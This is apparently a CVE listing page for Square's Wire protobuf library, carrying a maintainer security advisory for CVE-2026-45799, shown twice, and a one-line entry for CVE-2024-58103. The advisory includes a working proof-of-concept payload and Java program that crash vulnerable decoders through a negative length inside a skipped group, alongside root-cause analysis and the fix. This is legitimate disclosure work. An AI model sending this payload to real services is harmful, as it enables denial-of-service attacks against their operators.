Wire
by Square
Source repositories
CVEs (2)
| CVE | Vendor / Product | Sev | Risk | CVSS | EPSS | KEV | Published | Description |
|---|---|---|---|---|---|---|---|---|
| CVE-2026-45799 | hig | 0.45 | — | — | May 19, 2026 | # CVE-2026-45799 ## Maintainer summary Wire's protobuf group-skipping logic did not reject negative lengths before skipping a length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an unchecked runtime exception during decoding instead of the documented `IOException` / `ProtocolException` failure path. This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures. ## Affected artifacts ### `com.squareup.wire:wire-runtime` Affected versions: vulnerable releases before `6.3.0`. Patched versions: `6.3.0` and later. Users should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later. ### `com.squareup.wire:wire-runtime-jvm` Affected versions: vulnerable legacy releases, including `5.3.1` and `5.3.3`. Patched versions: none. `com.squareup.wire:wire-runtime-jvm` is a discontinued legacy artifact and will not receive a patched release. Users should migrate to `com.squareup.wire:wire-runtime:6.3.0` or later. ### Wire 7 alpha releases The fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with affected alpha versions or build from a commit containing the fix. ## Fix The issue is fixed in Wire `6.3.0`. The fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of allowing the reader to move to an invalid position and later throw an unchecked runtime exception. ## Credit Reported by @TrekLaps. ## Technical details The following technical details are based on the original report, updated by the maintainers to reflect the assigned CVE, the supported fixed artifact, and the discontinued status of `com.squareup.wire:wire-runtime-jvm`. `ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a `LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf varint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter underflows to an invalid negative position. The next `readByte()` accesses the source with that negative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes Wire's documented `IOException` boundary and can crash the request handler. `ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented API may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape the expected error boundary. The originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the discontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate is `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`. ## Root cause In the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the length as a signed `Int` and used it without validating that it was non-negative: ```kotlin STATE_LENGTH_DELIMITED -> { val length = internalReadVarint32() // returns signed Int and can be negative skip(length) // no negative check } ``` The internal `skip()` implementation then accepted the negative count because the computed position was not greater than the limit: ```kotlin private fun skip(byteCount: Int) { val newPos = pos + byteCount // for example, 7 + (-128) = -121 if (newPos > limit) throw EOFException() pos = newPos // pos = -121 } ``` The next read could then index the source with the invalid negative position: ```kotlin private fun readByte(): Byte { if (pos == limit) throw EOFException() return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException } ``` Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code. The fix adds this validation when skipping groups: ```kotlin STATE_LENGTH_DELIMITED -> { val length = internalReadVarint32() if (length < 0) throw ProtocolException("Negative length: $length...") skip(length) } ``` The fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`. ## Reproduction The following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as `5.3.1` and `5.3.3`: ```bash curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar ``` ```java // WirePoc.java import com.squareup.wire.AnyMessage; public class WirePoc { public static void main(String[] args) throws Exception { byte[] payload = new byte[] { (byte) 0x9B, 0x06, // field 99, START_GROUP 0x0A, // field 1, LENGTH_DELIMITED (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128 (byte) 0x9C, 0x06 // field 99, END_GROUP }; AnyMessage.ADAPTER.decode(payload); } } ``` ```bash javac -cp "wire.jar:okio.jar:stdlib.jar" WirePoc.java java -cp ".:wire.jar:okio.jar:stdlib.jar" WirePoc ``` Observed output on vulnerable versions: ```text Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10 at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448) at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294) at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209) at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156) at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150) at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88) at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468) at WirePoc.main(WirePoc.java:10) ``` With the fix, the same payload is rejected with `ProtocolException`. ## Why this can affect any Wire-decoding service `skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown field, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()` regardless of which message type the service uses, so no schema knowledge is required. Payload: ```text 9b060a80ffffff0f9c06 ``` Payload breakdown: ```text 0x9B 0x06 field 99, wire type 3 (START_GROUP) 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int 0x9C 0x06 field 99, END_GROUP ``` | ||
| CVE-2024-58103 | Med | 0.31 | 5.8 | 0.00 | Mar 16, 2025 | Square Wire before 5.2.0 does not enforce a recursion limit on nested groups in ByteArrayProtoReader32.kt and ProtoReader.kt. |
- risk 0.45cvss —epss —
# CVE-2026-45799 ## Maintainer summary Wire's protobuf group-skipping logic did not reject negative lengths before skipping a length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an unchecked runtime exception during decoding instead of the documented `IOException` / `ProtocolException` failure path. This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures. ## Affected artifacts ### `com.squareup.wire:wire-runtime` Affected versions: vulnerable releases before `6.3.0`. Patched versions: `6.3.0` and later. Users should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later. ### `com.squareup.wire:wire-runtime-jvm` Affected versions: vulnerable legacy releases, including `5.3.1` and `5.3.3`. Patched versions: none. `com.squareup.wire:wire-runtime-jvm` is a discontinued legacy artifact and will not receive a patched release. Users should migrate to `com.squareup.wire:wire-runtime:6.3.0` or later. ### Wire 7 alpha releases The fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with affected alpha versions or build from a commit containing the fix. ## Fix The issue is fixed in Wire `6.3.0`. The fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of allowing the reader to move to an invalid position and later throw an unchecked runtime exception. ## Credit Reported by @TrekLaps. ## Technical details The following technical details are based on the original report, updated by the maintainers to reflect the assigned CVE, the supported fixed artifact, and the discontinued status of `com.squareup.wire:wire-runtime-jvm`. `ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a `LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf varint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter underflows to an invalid negative position. The next `readByte()` accesses the source with that negative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes Wire's documented `IOException` boundary and can crash the request handler. `ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented API may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape the expected error boundary. The originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the discontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate is `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`. ## Root cause In the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the length as a signed `Int` and used it without validating that it was non-negative: ```kotlin STATE_LENGTH_DELIMITED -> { val length = internalReadVarint32() // returns signed Int and can be negative skip(length) // no negative check } ``` The internal `skip()` implementation then accepted the negative count because the computed position was not greater than the limit: ```kotlin private fun skip(byteCount: Int) { val newPos = pos + byteCount // for example, 7 + (-128) = -121 if (newPos > limit) throw EOFException() pos = newPos // pos = -121 } ``` The next read could then index the source with the invalid negative position: ```kotlin private fun readByte(): Byte { if (pos == limit) throw EOFException() return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException } ``` Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code. The fix adds this validation when skipping groups: ```kotlin STATE_LENGTH_DELIMITED -> { val length = internalReadVarint32() if (length < 0) throw ProtocolException("Negative length: $length...") skip(length) } ``` The fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`. ## Reproduction The following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as `5.3.1` and `5.3.3`: ```bash curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar ``` ```java // WirePoc.java import com.squareup.wire.AnyMessage; public class WirePoc { public static void main(String[] args) throws Exception { byte[] payload = new byte[] { (byte) 0x9B, 0x06, // field 99, START_GROUP 0x0A, // field 1, LENGTH_DELIMITED (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128 (byte) 0x9C, 0x06 // field 99, END_GROUP }; AnyMessage.ADAPTER.decode(payload); } } ``` ```bash javac -cp "wire.jar:okio.jar:stdlib.jar" WirePoc.java java -cp ".:wire.jar:okio.jar:stdlib.jar" WirePoc ``` Observed output on vulnerable versions: ```text Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10 at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448) at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294) at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209) at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156) at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150) at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88) at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468) at WirePoc.main(WirePoc.java:10) ``` With the fix, the same payload is rejected with `ProtocolException`. ## Why this can affect any Wire-decoding service `skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown field, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()` regardless of which message type the service uses, so no schema knowledge is required. Payload: ```text 9b060a80ffffff0f9c06 ``` Payload breakdown: ```text 0x9B 0x06 field 99, wire type 3 (START_GROUP) 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int 0x9C 0x06 field 99, END_GROUP ```
- risk 0.31cvss 5.8epss 0.00
Square Wire before 5.2.0 does not enforce a recursion limit on nested groups in ByteArrayProtoReader32.kt and ProtoReader.kt.